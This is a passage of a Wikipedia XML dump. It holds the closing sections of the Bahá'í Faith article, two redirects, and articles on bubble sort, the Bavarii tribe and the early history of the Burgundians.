With the unexpected passing of Shoghi Effendi in 1957, the Faith was left without a clear candidate for Guardian, due to the absence of male descendants of Bahá'u'lláh. After the election of the [[Universal House of Justice]] in 1963, it then ruled that given the unique situation and the provisions of the [[Will and Testament of `Abdu'l-Bahá]], it was not possible to appoint another Guardian. A small group of believers followed Mason Remey, who proclaimed he was the second Guardian of the Faith, and do not follow the Universal House of Justice. This group has since subsequently split into several other [[Bahá'í divisions]], whose combined population is in the low thousands, with each adhereing to their own administrations. The Universal House of Justice today remains the supreme governing body of the Bahá'í Faith, and its 9 members are elected every five years by the members of all [[Spiritual Assembly|National Spiritual Assemblies]].  Any male Bahá'í, 21 years or older, is eligible to be elected to the Universal House of Justice; all other elected positions are open to male and female Bahá'ís. 

== Current plans and focus ==
The Bahá'í writings allude to a future time when the majority of the world will be Bahá'ís. [[Entry by troops]] refers to a period of time when the Bahá'í Faith will emerge from relative obscurity and attract large numbers of followers. The name is not meant to imply militancy, and could equally be called &quot;entry by large groups,&quot; or &quot;sudden large scale growth&quot;. 

To these ends, the [[Universal House of Justice]] periodically announces subsidiary goals in the form of multi-year plans. The first large influx of Bahá'ís was felt in Africa during the time of [[Shoghi Effendi]], and subsequent decades had sporadic inundations of Bahá'ís in different parts of the globe. It wasn't until the launching of the four-year plan (1996-2000) that &quot;a significant advance in the process of entry by troops&quot; was made the one major aim of the Bahá'í world. (Rid&amp;#803;ván 153)

The current five-year plan (2001-2006) focuses on developing institutions and creating the means to &quot;sustain large-scale expansion and consolidation&quot; (Rid&amp;#803;ván 158). Since 2001, the Bahá'ís around the world have been specifically encouraged to focus on children's classes, devotional gatherings, and a systematic study of the Faith, known as [[Bahá'í study circle|study circles]].  The most popular study program is the Ruhi Institute, a study course originally designed for use in [[Colombia]], but which has received wide recognition. A new focus was added in December 2005 with the addition of &quot;junior youth&quot; classes to the core activities of Bahá'ís, focusing on education for those between 11 and 14.

The years from 2006 until 2021 will represent three successive five-year plans, culminating in the centennial anniversary of the passing of [[`Abdu'l-Bahá]], and the completion of the first century of the Formative Age of the Bahá'í Faith.

==Laws==
{{main|Bahá'í laws}}
The laws of the Bahá'í Faith primarily come from the ''[[Kitáb-i-Aqdas]]'' (&quot;''The Most Holy Book''&quot;). Most are applied by individual Bahá'ís, as a matter of free choice. Some may be enforced to some degree by the administrative order, while others are dependent upon the existence of a predominantly Bahá'í society, which is expected to gradually come into being. Bahá’í laws are expected to be gradually applied on the levels of an individual and society. (''Kitáb-i-Aqdas'', p. 5)

Bahá'u'lláh did not see these laws as rigid legalistic framework, concerned with enforcement and punishment. He stated that laws are an indispensable part of human spiritual progress and part of the mystic path. 

:&quot;Think not that We have revealed unto you a mere code of laws. Nay, rather, We have unsealed the choice Wine with the fingers of might and power.&quot;
:: (Bahá'u'lláh, ''Kitáb-i-Aqdas'', v. 5, p. 21) [http://reference.bahai.org/en/t/b/KA/ka-4.html#gr5]

Here are a few examples of laws and basic religious observances of the ''[[Kitáb-i-Aqdas|Kitáb-i-Aqdas]]'' which have been codifed by [[Shoghi Effendi]], the appointed interpreter of the Bahá'í writings:
* Recite an [[Obligatory Bahá'í Prayers|obligatory prayer]] each day. There are three such prayers among which one can be chosen each day.
* Pray and meditate daily.
* Backbiting and gossip is prohibited and denounced.
* There is a specified statement which must be recited as part of the [[marriage]] vow. Furthermore, the consent of all living parents must be obtained.
* Adult Bahá'ís in good health observe a nineteen-day sunrise-to-sunset [[fasting|fast]] each year from March 2 through March 20.
* Bahá'ís are forbidden to drink [[alcoholic beverage|alcohol]] or to [[Recreational drug use|take drugs]], unless prescribed by doctors.
* Sexual relationships are permitted only between a husband and wife, and thus [[homosexual]] acts are not permitted.  See [[Homosexuality and Bahá'í Faith]].
* [[Gambling]] is strictly forbidden, as well as the consumption of [[narcotics]] such as [[opium]].

==Places of worship==
{{main|Bahá'í House of Worship}}
Most Bahá'í meetings occur in individuals' homes, local Bahá'í centers, or rented facilities. Worldwide, there are currently seven Bahá'í Houses of Worship, basically one per continent, with an eighth under design.  Bahá'í writings refer to an institution called a [[Bahá'í House of Worship|Ma&lt;u&gt;sh&lt;/u&gt;riqu'l-A&lt;u&gt;dh&lt;/u&gt;kár]] (Dawning-place of the Mention of God), which is to form the center of a complex of institutions including a hospital, university, and so on. Only the first ever Ma&lt;u&gt;sh&lt;/u&gt;riqu'l-A&lt;u&gt;dh&lt;/u&gt;kár in [[Ashgabat|'Ishqábád]], [[Turkmenistan]], was built to such a degree.

==Calendar==
{{main|Bahá'í calendar}}
The [[Bahá'í calendar]] was established by the Báb. The year consists of 19 months of 19 days, and 4 or 5 intercalary days, to make a full solar year.  The New Year (called [[Naw Rúz]]) occurs on the vernal equinox, [[March 21]], at the end of the month of fasting.  Bahá'í communities gather at the beginning of each month at a meeting called a [[Nineteen Day Feast|Feast]] for worship, consultation and socializing. 

Bahá'ís observe 11 [[Bahá'í calendar|Holy Days]] throughout the year, with work suspended on 9 of these.  These days commemorate important anniversaries in the history of the Faith.

==Symbols==
[[Image:Bahaistar.jpg|thumb|170px|A stylized nine pointed star, with the calligraphy of the [[Greatest Name]] in the center.]]
{{main|Bahá'í symbols}}

The official symbol of the Bahá'í Faith is the five-pointed star, but a nine-pointed star is more frequently used. The ringstone symbol and calligraphy of the Greatest Name are also often encountered. The former consists of two stars interspersed with a stylized Bahá’ (Arabic: بهاء lit. &quot;splendor&quot; but usually translated as &quot;glory&quot;) whose shape is meant to recall the three onenesses. The Greatest Name is Yá Bahá'ul 'Abhá (Arabic: يا بهاء الأبهى usually translated as &quot;O Glory of the Most Glorious!&quot;)&lt;br clear=all&gt;

==Involvement in society==
Bahá'ís actively promote issues of social justice and spirituality wherever they are found, holding the concept of the unity of humankind as the standard for their actions.  Bahá'ís have also become increasingly involved in projects of social and economic development around the world [http://www.bahai.org/article-1-8-1-1.html].

===Work ethic===
Far from being an ascetic tradition, Bahá'u'lláh deprecated a [[Mendicancy|mendicant]] and [[Asceticism|ascetic]] lifestyle, encouraging Bahá'ís to &quot;Be anxiously concerned with the needs of the age ye live in, and centre your deliberations on its exigencies and requirements&quot; [http://reference.bahai.org/en/t/b/PB/pb-61.html#gr1].  Moreover work, Bahá'ís are instructed, when done in the spirit of service to humanity is given a rank equal to that of prayer [http://www.bahai.org/faq/beliefs/prayer].

===United Nations===
Bahá'u'lláh wrote of the need for world government in this age of humanity's collective life.  Because of this emphasis many Bahá'ís have chosen to support the [[United Nations]] since its inception. The &quot;Bahá'í International Community&quot;, an agency under the direction of the [[Universal House of Justice]] in [[Haifa]] has consultative status with the following organizations:
*[[United Nations Economic and Social Council]] (ECOSOC) 
*[[United Nations Children's Fund]] (UNICEF)
*[[World Health Organization]] (WHO) 
*[[UNIFEM|United Nations Development Fund for Women]] (UNIFEM)
*[[United Nations Environment Programme]] (UNEP)

The Bahá'í Faith has also undertaken joint development programs with various other United Nations agencies. 

In the 2000 [[Millennium Development Goals|Millennium Forum]] of the [[United Nations]] a Bahá'í was invited as the only non-governmental speaker during the summit [http://www.bahai.org/article-1-1-0-3.html]. See [http://www.bahai.org/article-1-6-0-6.html this article] for further information on the relationship between the Bahá'í International Community and the United Nations.

==See also==
*[[Bahá'í apologetics]]
*[[Bahá'í individuals]]
*[[Bahá'í literature]]
*[[Bahá'í orthography]]
*[[Bahá'í timeline]]

==References==
*{{cite book
 |author=`Abdu'l-Bahá
 |authorlink=`Abdu'l-Bahá
 |origyear=1912
 |year=1982
 |title=The Promulgation of Universal Peace
 |edition=Hardcover
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0877431728
 |url=http://reference.bahai.org/en/t/ab/PUP/
 }} Talks Delivered by `Abdu'l-Bahá during His Visit to the United States and Canada in 1912.

*{{cite book
 |author=`Abdu'l-Bahá
 |authorlink=`Abdu'l-Bahá
 |year=1978
 |title=Selections From the Writings of `Abdu'l-Bahá
 |edition=Hardcover
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0853980810
 |url=http://reference.bahai.org/en/t/ab/SAB/index.html
 }} 

*{{cite book
 |author= `Abdu'l-Bahá
 |editor=Browne, E.G., Tr.
 |year= 1891
 |title= A Traveller's Narrative: Written to illustrate the episode of the Bab
 |publisher= Cambridge University Press
 |url= http://www.h-net.org/~bahai/diglib/books/A-E/B/browne/tn/hometn.htm
 }}

*{{cite book
 |author=`Abdu'l-Bahá
 |authorlink=`Abdu'l-Bahá
 |origyear=1901-08
 |year=1992
 |title=The Will And Testament of ‘Abdu’l-Bahá
 |publisher=Bahá'í Publications Australia
 |location=Mona Vale, N.S.W, Australia
 |id=ISBN 0909991472
 |url=http://reference.bahai.org/en/t/ab/WT/
 }}

*{{cite book
 |author=Bahá'u'lláh
 |authorlink=Bahá'u'lláh
 |year=1976
 |title=Gleanings from the Writings of Bahá'u'lláh
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0877431876
 |url=http://reference.bahai.org/en/t/b/GWB/
 }} 

*{{cite book
 |author=Bahá'u'lláh
 |authorlink=Bahá'u'lláh
 |origyear=1873
 |year=1992
 |title=The Kitáb-i-Aqdas: The Most Holy Book
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0853989990
 |url=http://reference.bahai.org/en/t/b/KA/
 }}

*{{cite book
 |author=Britannica (Eds.)
 |year=1992
 |title=Britannica Book of the Year 
 |publisher=Encyclopaedia Britannica, Inc.  Chicago, 
 |id=}}

*{{cite book
 |first=Shoghi
 |last=Effendi
 |authorlink=Shoghi Effendi
 |year=1944
 |title=God Passes By
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id=ISBN 0877430209
 |url=http://reference.bahai.org/en/t/se/GPB/
 }}

*{{cite book
 |author=Hatcher, W.S.
 |coauthors=&amp; Martin, J.D.
 |year= 1998
 |title=The Bahá'í Faith: The Emerging Global Religion
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id= ISBN 0877432643
 }} 

*{{cite book
 |last= Heggie
 |first=James
 |year= 1986
 |title= Bahá'í References to Judaism, Christianity and Islam
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853982422
 }}.

*{{cite book
 |last= Momen
 |first=Moojan
 |year= 1994
 |title= Buddhism and the Bahá'í Faith
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853983844
 }}.

*{{cite book
 |last= Momen
 |first=Moojan
 |year= 2000
 |title= Islam and the Bahá'í Faith, An Introduction to the Bahá'í Faith for Muslims
 |publisher=George Ronald
 |location=Oxford, UK
 |id= ISBN 0-853984468
 }}.

*{{cite book
 |last= Momen
 |first=Moojan
 |year= 1990
 |title= Hinduism and the Bahá'í Faith
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853982996
 }}.

*{{cite book
 |last=Townshend
 |first=George
 |year= 1986|title= Christ and Bahá’u’lláh
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853980055
 }}.

*{{cite book 
 |last=Motlagh
 |first=Hudishar 
 |title=I Shall Come Again 
 |publisher=Global Perspective 
 |year=1992 
 |id=ISBN 0-937661-01-5
 }}

*{{cite book 
 |last=Schaefer
 |first=Udo 
 |title=Making the Crooked Straight: A Contribution to Bahá'í Apologetics 
 |publisher=George Ronald
 |location=Oxford, UK
 |year=2000 
 |id=ISBN 0-85398-443-3
 }}

*{{cite book
 |last=Taherzadeh
 |first=Adib
 |year= 1972
 |title= The Covenant of Baha'u'llah
 |publisher= George Ronald
 |location=Oxford, UK
 |id= ISBN 0853983445
 }}

*{{cite book
 |first=George
 |last=Townshend
 |authorlink=Hand of the Cause George Townshend
 |year=1966
 |title=Christ and Bahá’u’lláh
 |publisher=George Ronald
 |location=Oxford, UK
 |id=ISBN 0853980055
 }}

*{{cite book
 |author= Universal House of Justice
 |authorlink= Universal House of Justice
 |year= 2001
 |title= Century of Light
 |publisher=Bahá'í Publishing Trust
 |location=Wilmette, Illinois, USA
 |id= ISBN 0877432945
 |url= http://reference.bahai.org/en/t/bic/COL/
 }}

==External links==
{{wikiquote}}
{{wikinews|Portal:Bahá'í Faith}}
{{portal}}

===Official websites of the Bahá'í International Community===
*[http://www.bahai.org/ The Bahá'ís], the official presence of the Bahá'í International Community on the Web.
*[http://www.bahaiworldnews.org/ Bahá'í World News Service], news and reports on the activities, projects and events of the worldwide Bahá'í community.
*[http://www.bahai.us/ Bahai Faith U.S.], the official presence of the Bahá'í Faith in the United States.
*[http://reference.bahai.org/ Bahá'í Reference Library], official versions of selected writings of the Bahá'í Faith in English, Persian, and Arabic.
*[http://www.onecountry.org/ One Country], the newsletter of the Bahá'í International Community.
*[http://www.bic-un.bahai.org/ Bahá'í International Community Statement Library], statements by the Bahá'í International Community in eleven languages, including submissions to the United Nations (1947-present).
*[http://www.bahaiyouth.com/ Bahaiyouth.com], A site dedicated to Bahá'í youth.

===Other Bahá'í websites===
* [http://www.uga.edu/bahai/ Bahá'í Association of the University of Georgia], one of the oldest Bahá'í sites on the internet. Links to information in multiple languages, simple to follow but comprehensive information, and largest archive of media coverage of the Bahá'í Faith. Site maintained by an individual Bahá'í.
* [http://bahai-library.com/ Bahá'í Library Online], an academically-oriented site with a large number of primary and secondary source materials on the Bahá'í Faith.
* [http://www.h-net.org/~bahai/ H-Bahai], part of the H-net series, H-Bahai concentrates on the scholarly study of Shaykhism, the Bábí Faith, and the Bahá'í Faith.
* [http://bahaistudy.org/ Bahá'í Study Center], varied Bahá'í resources, including online videos and talking books.
* [http://www.bbc.co.uk/religion/religions/bahai/ BBC Religion and Ethics special: Bahá'í], BBC on the Bahá'í Faith.
* [http://www.religionfacts.com/bahai/index.htm ReligionFacts.com: Bahá'í Faith], objective guide to the Bahá'í Faith
* [http://www.bahai-education.org/ocean/ Ocean], a privately-developed, free downloadable reference library and research engine, containing the full text of the Bahá'í writings and many other scriptures in English, and over 1000 volumes from among the world's religious literature. Smaller selections in six other major languages. (Typographical accuracy of texts varies.)
* [http://www.northill.demon.co.uk/relstud/index.htm Religious Studies and Bahá'í Studies] Articles and papers authored as drafts towards a short encyclopedia of the Bahá'í Faith.
* [http://www.bahai-religion.org The Bahá'í Religion] Academic introduction to the Bábí and Bahá'í religions from an Islamic studies perspective.
* [http://bci.org/islam-bahai/ Islam and the Bahá'í Faith] The relationship between the two religions (in English and Arabic).
* [http://www.bahaullah.com/ Baha'u'llah] A web site on the life and teachings of Bahá'u'lláh. Includes a history and selected Writings.
----

''Usage note: The correct orthographies are &quot;Bahá'í&quot;, &quot;Bahá'ís&quot;, &quot;Báb&quot;, &quot;Bahá'u'lláh&quot;, and &quot;`Abdu'l-Bahá&quot;:  Bahá'ís use a particular and [[Bahá'í orthography|specific transcription]] of [[Arabic language|Arabic]] in their publications. Because of typographic limitations, the forms &quot;Bahai&quot;, &quot;Bahais&quot;, &quot;Baha'i&quot;, &quot;Bab&quot;, &quot;Bahaullah&quot; and &quot;Baha'u'llah&quot; are often used as a common spelling and are satisfactory for certain electronic uses.''

{{featured article}}

[[Category:Bahá'í|*]]


{{Link FA|eo}}
{{Link FA|ja}}

[[ar:بهائية]]
[[az:Bahailik]]
[[bs:Baha'i]]
[[ca:Fe Bahà'í]]
[[cs:Baha'i]]
[[da:Bahai]]
[[de:Baha'i]]
[[et:Baha'i usk]]
[[es:Bahaísmo]]
[[eo:Bahaa Kredo]]
[[eu:Bahaismo]]
[[fa:دین بهایی]]
[[fr:Bahaïsme]]
[[ko:바하이 신앙]]
[[hr:Bahai vjera]]
[[io:Bahaa Kredo]]
[[id:Baha'i]]
[[ia:Fide Bahá'í]]
[[it:Fede Bahá'í]]
[[he:האמונה הבהאאית]]
[[kw:Fay Bahá'í]]
[[lt:Bahaizmas]]
[[lb:Baha'i]]
[[hu:Bahá'í]]
[[ms:Bahai]]
[[nl:Bahá'í]]
[[ja:バハーイー教]]
[[no:Bahai]]
[[nn:Bahai]]
[[pl:Bahaizm]]
[[pt:Fé Bahá'í]]
[[ro:Bahaism]]
[[ru:Бахаизм]]
[[sk:Bahá'í]]
[[sl:Bahá'í]]
[[fi:Bahá'í]]
[[sv:Bahai]]
[[th:บาไฮ]]
[[tr:Bahailik]]
[[zh:巴哈伊信仰]]</text>
    </revision>
  </page>
  <page>
    <title>Bahais</title>
    <id>4252</id>
    <revision>
      <id>15902538</id>
      <timestamp>2004-02-18T20:45:04Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Bahá'í Faith]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bahá'í Faith]]</text>
    </revision>
  </page>
  <page>
    <title>Baader-Meinhof-Gang</title>
    <id>4253</id>
    <revision>
      <id>15902539</id>
      <timestamp>2002-08-02T08:21:57Z</timestamp>
      <contributor>
        <username>Tijmz</username>
        <id>3215</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Red Army Faction]]</text>
    </revision>
  </page>
  <page>
    <title>Bubble sort</title>
    <id>4255</id>
    <revision>
      <id>41114050</id>
      <timestamp>2006-02-25T03:27:26Z</timestamp>
      <contributor>
        <username>Ycl6</username>
        <id>785799</id>
      </contributor>
      <text xml:space="preserve">'''Bubble sort''', also known as '''exchange sort''', is a simple [[sorting algorithm]]. It works by repeatedly stepping through the list to be sorted, comparing two items at a time, swapping these two items if they are in the wrong order.  The pass through the list is repeated until no swaps are needed, which means the list is sorted. The algorithm gets its name from the way smaller elements &quot;bubble&quot; to the top (i.e. head) of the list via the swaps. Because it only uses comparisons to read elements, it is a [[comparison sort]].

In more detail, the bubble sort algorithm works as follows:
#Compare adjacent elements.  If the first is greater than the second, swap them.
#Do this for each pair of adjacent elements, starting with the first two and ending with the last two.  At this point the last element should be the greatest.
#Repeat the steps for all elements except the last one.
#Keep repeating for one fewer element each time, until you have no more pairs to compare.  (Alternatively, keep repeating until no swaps are needed.)

 '''function''' bubblesort (A : ''list''[1..n]) {
     '''var''' ''int'' i, j;
     '''for''' i '''from''' n '''downto''' 1 {
         '''for''' j '''from''' 1 '''to''' i-1 { 
             '''if''' (A[j] &gt; A[j+1])
                 swap(A[j], A[j+1])
         }
     }
 }

==Implementation==
For implementations in real programming languages, see [[wikisource:Bubble sort|Bubble sort at Wikisource]].

== Performance ==

Bubble sort needs [[big O notation|O]](n&lt;sup&gt;2&lt;/sup&gt;) comparisons to sort &lt;math&gt;n&lt;/math&gt; items and can sort [[in-place algorithm|in-place]].  Although the algorithm is one of the simplest sorting algorithms to understand and implement, it is too inefficient for use on lists having more than a few elements. Even among simple O(n&lt;sup&gt;2&lt;/sup&gt;) sorting algorithms, algorithms like [[insertion sort]] are considerably more efficient. 

Due to its simplicity, the bubble sort is often used to introduce the concept of an algorithm to introductory programming students. However, some researchers such as Owen Astrachan have gone to great lengths to disparage bubble sort and its continued popularity in computer science education, recommending that it no longer even be taught.[http://www.cs.duke.edu/~ola/papers/bubble.pdf] The Jargon file, which famously calls [[bogosort]] &quot;[t]he archetypical perversely awful algorithm&quot;, also calls bubble sort &quot;the generic ''bad'' algorithm&quot;.[http://www.jargon.net/jargonfile/b/bogo-sort.html] Don Knuth, in his famous ''[[The Art of Computer Programming]]'', concluded that &quot;the bubble sort seems to have nothing to recommend it, except a catchy name and the fact that it leads to some interesting theoretical problems&quot;, some of which he discusses therein.

Bubble sort is [[Asymptotic notation|asymptotically]] equivalent in running time to [[insertion sort]] in the worst case, but the two algorithms differ greatly in the number of swaps necessary.  Insertion sort needs only &lt;math&gt;O(n)&lt;/math&gt; operations if the list is already sorted, whereas naïve implementations of bubble sort (like the pseudocode above) require &lt;math&gt;O(n^2)&lt;/math&gt; operations.  (This can be reduced to &lt;math&gt;O(n)&lt;/math&gt; if code is added to stop the outer loop when the inner loop performs no swaps.)  Experimental results such as those of Astrachan have also shown that insertion sort performs considerably better even on random lists. For these reasons many modern algorithm textbooks avoid using the bubble sort algorithm in favor of insertion sort.

Bubble sort also interacts poorly with modern CPU hardware. It requires at least twice as many writes as insertion sort, twice as many cache misses, and asymptotically more [[branch prediction|branch mispredictions]] (O(''n''log ''n'') rather than insertion sort's O(''n'')). Experiments by Astrachan sorting strings in Java show bubble sort to be roughly 5 times slower than insertion sort and 40% slower than [[selection sort]].

Reversing the order in which the list is traversed for each pass improves the efficiency somewhat. This is sometimes called [[shuttle sort]] since the algorithm shuttles from one end of the list to the other.

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Pages 106&amp;ndash;110 of section 5.2.2: Sorting by Exchanging.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Problem 2-2, pg.38.

== External Links==
* [http://www.ee.unb.ca/brp/lib/java/bubblesort/ Bubble Sort Applet]
* [http://www.ndsu.nodak.edu/instruct/juell/vp/cs1and2/sortdemo/BubbleSortDemo_ny.html Bubble Sort Demo]
* [http://web.engr.oregonstate.edu/~minoura/cs261/javaProgs/sort/BubbleSort.html Bubble Sort Demonstration]
* [http://lecture.ecc.u-tokyo.ac.jp/~ueda/JavaApplet/BubbleSort.html Lafore's Bubble Sort]
* [http://www.cs.pitt.edu/~kirk/cs1501/animations/Sort3.html Sorting Applets in C++]

[[Category:Sort algorithms]]

[[ar:ترتيب الفقاعات]]
[[de:Bubblesort]]
[[es:Ordenamiento de burbuja]]
[[fr:Tri à bulles]]
[[is:Bóluröðun]]
[[it:Bubble sort]]
[[he:מיון בועות]]
[[lt:Burbulo rūšiavimo algoritmas]]
[[nl:Bubblesort]]
[[ja:バブルソート]]
[[pl:Sortowanie bąbelkowe]]
[[pt:Bubble sort]]
[[ru:Сортировка пузырьком]]
[[fi:Kuplalajittelu]]
[[sv:Bubble sort]]
[[uk:Сортування стандартним обміном]]
[[zh:冒泡排序]]</text>
    </revision>
  </page>
  <page>
    <title>Bavarii</title>
    <id>4256</id>
    <revision>
      <id>40361223</id>
      <timestamp>2006-02-20T01:32:53Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Bavarii''' were a large and powerful [[tribe]] which emerged late in [[Germanic tribes|Teutonic]] tribal times, in what is now the [[Czech Republic]] ([[Bohemia]]). They replaced, or perhaps are simply another phase of, the previous inhabitants - the [[Rugians]]. They swiftly expanded their influence southward, and occupied [[Austria]] and the area which still bears their name: [[Bavaria]]. There is some argument as to the origins of the Bavarii.  Until recently, modern day Bavarians were thought to be descendants of the Bavarii, who themselves were direct descendants of the (most probably) [[Celt|Celtic]] [[Boii]], who settled in what is now Bavaria perhaps as much as two centuries before the birth of Christ.  The Boii may in turn have also lent their name to Bohemia, an area that has at times been part of Bavaria proper.   

Over the last half of the 20th century, historical and archaeological research has increasingly supported the theory that the remnants of the Celtic Boii were absorbed into the Roman Empire and later intermingled with other Germanic peoples who chose to stay (or were stationed by the Romans) in the area.  By the 6th c. AD we see evidence of the foundation of a Bavarian Stem-duchy whose leading men were related to the ruling [[Franks|Frankish]] (and possibly [[Alemanni|Alemannic]]/[[Swabian]]) houses.  However, there is no longer real evidence that the rulers in Bavaria belonged to a people called the Bavarii.  It is in fact likely that, after the name of the region became known by the name of the early inhabitants, later inhabitants became known by the accepted geographical name.   

==External links==
*This article incorporates some information taken from http://www.hostkingdom.net/ with permission.


[[Category:Ancient Germanic peoples]]
[[Category:Ethnic groups in Europe]]

[[de:Bajuwaren]]
[[la:Bavarii]]
[[nl:Bajuwaren]]</text>
    </revision>
  </page>
  <page>
    <title>Burgundians</title>
    <id>4257</id>
    <revision>
      <id>40606922</id>
      <timestamp>2006-02-21T20:06:15Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv:  no citation listed</comment>
      <text xml:space="preserve">The '''Burgundians''' or '''Burgundes''' were an [[East Germanic language|East Germanic]] [[Germanic tribes|tribe]] which may have emigrated from mainland Scandinavia to the island of [[Bornholm]], whose old form in [[Old Norse]] still was ''Burgundarholmr'' (the Island of the Burgundians), and from here to mainland Europe. In the ''[[Thorsteins saga Víkingssonar]]'', Veseti settled in an island or holm, which was called Borgund's holm, i.e. Bornholm. [[Alfred the Great]]'s translation of ''[[Orosius]]'' uses the name ''Burgenda land''. The poet and early mythologist [[Viktor Rydberg]] ([[1828]]&amp;ndash;[[1895]]), (''Our Fathers' Godsaga'') asserted from an early medieval source, ''[[Sigismund of Burgundy|Vita Sigismundi]],'' that the Burgundians themselves retained oral traditions about their Scandinavian origin.

==Early History==
===Tribal Origins===
The Burgundians' tradition of Scandinavian origin finds support in place-name evidence and archaeological evidence (Stjerna) and many consider their tradition to be correct (e.g. Musset, p. 62). Possibly because Scandinavia was beyond the horizon of the earliest Roman sources, including [[Tacitus]] (who only mentions one Scandinavian tribe, the [[Suiones]]), they don't tell from where the Burgundians came, and the first Roman references place them east of the [[Rhine]] (''inter alia'', [[Ammianus Marcellinus]], XVIII, 2, 15). Early Roman sources thought they were simply another East Germanic tribe. 

Ca [[300]], the population of [[Bornholm]] (the island of the Burgundians) largely disappeared from the island. Most gravefields ceased to be used, and those that were still used had few burials (Stjerna, in Nerman 1925:176).

In the year [[369]], the Emperor [[Valentinian I]] enlisted their aid in his war against another Germanic tribe, the [[Alamanni]] (Ammianus, XXVIII, 5, 8-15). At this time, the Burgundians were possibly living in the [[Vistula]] basin, according to the mid-6th century historian of the [[Goths]], [[Jordanes]].  Sometime after their war against the Alamanni, the Burgundians were beaten in battle by [[Fastida]], king of the [[Gepids]] and were overwhelmed, almost annihilated.

Approximately four decades later, the Burgundians appear again. Following [[Stilicho]]’s withdrawal of troops to fight [[Alaric I]] the [[Visigoth]] in AD [[406]]-[[408]], the northern tribes crossed the Rhine and entered the Empire in the ''[[Völkerwanderung]]'', or Germanic migrations.  Among them were the [[Alans]], [[Vandals]], the [[Suevi]], and possibly the Burgundians.  The Burgundians migrated westwards and settled in the [[Rhine Valley]].

There was, it seems at times a friendly relationship between the [[Huns]] and the Burgundians. It was a Hunnish custom for females to have their skull artificially elongated by tight binding of the skull when the child was an infant. Germanic graves are sometimes found with Hunnish ornaments but also with skulls of females that have been treated in this way; west of the [[Rhine]] only Burgundian graves contain a large number of such skulls. (Werner, 1953)

===Religion===
Somewhere in the east the Burgundians had been converted to the [[Arianism|Arian]] form of Christianity, which proved a source of suspicion and distrust between the Burgundians and the Catholic Western Roman Empire.  Divisions were evidently healed or healing circa AD 500, however, as [[Gundobad]], one of the last Burgundian kings, maintained a close personal friendship with [[Avitus of Vienne|Avitus]], the Catholic bishop of [[Vienne, Isère|Vienne]].  Moreover, Gundobad's son and successor, [[Sigismund of Burgundy|Sigismund]], was himself a Catholic, and there is evidence that many of the Burgundian people had converted by this time as well, including several female members of the ruling family.

===Early Relationship with the Romans===
Initially, the Burgundians seem to have had a stormy relationship with the Romans.  They were used by the Empire to fend off other tribes, but also raided the border regions and expanded their influence when possible.

==The Burgundian Kingdoms==
===The First Kingdom===
In [[411]], the Burgundian king [[Gunther|Gundahar]] or ''Gundicar'' set up a puppet emperor, [[Jovinus]], in cooperation with [[Goar]], king of the [[Alans]]. With the authority of the [[Gallo-Roman culture|Gallic emperor]] that he controlled, Gundahar settled on the left (Roman) bank of the Rhine, between the river [[Lauter]] and the [[Nahe]], seizing [[Worms, Germany|Worms]], [[Speier]], and [[Strasbourg]]. Apparently as part of a truce, the Emperor [[Honorius]] later officially &quot;granted&quot; them the land. (Prosper, a. 386)

Despite their new status as ''[[foederati]]'', Burgundian raids into Roman Upper [[Gallia Belgica]] became intolerable and were ruthlessly brought to an end in [[436]], when the Roman general [[Flavius_Aëtius|Aëtius]] called in [[Hun]] mercenaries who overwhelmed the Rhineland kingdom (with its capital at the old Celtic Roman settlement of Borbetomagus/Worms) in [[437]]. Gundahar was killed in the fighting, reportedly along with the majority of the Burgundian tribe. (Prosper; ''Chronica Gallica 452''; Hydatius; and Sidonius Apollinaris)

The destruction of Worms and the Burgundian kingdom by the Huns became the subject of heroic legends that were afterwards incorporated in the ''[[Nibelungenlied]]''&amp;mdash;on which [[Richard Wagner|Wagner]] based his [[Ring Cycle]]&amp;mdash;where King Gunther (Gundahar) and Queen [[Brünnehilde|Brünhild]] hold their court at Worms, and [[Siegfried]] comes to woo Kriemhild. (In Old Norse sources the names are ''Gunnar'', ''Brynhild'', and ''Gudrún'' as normally rendered in English.)  In fact, the ''Atli'' of the ''Nibelungenlied'' is based on [[Attila the Hun]].

===The Second Kingdom===
For reasons not cited in the sources, the Burgundians were granted ''foederati'' status a second time, and in [[443]] were resettled by Aëtius in the region of ''Sapaudia''. (''Chronica Gallica 452'')  Though ''Sapaudia'' does not correspond to any modern-day regiod, the Burgundians probably lived near ''Lugdenensis'', known today as [[Lyon]]. (Wood 1994, Gregory II, 9)  A new king [[Gundioc]], or ''Gunderic'', presumed to be Gundahar's son, appears to have reigned from his father's death. (Drew, p. 1) In all, eight Burgundian kings of the house of Gundahar ruled until the kingdom was overrun by the Franks in 534. 

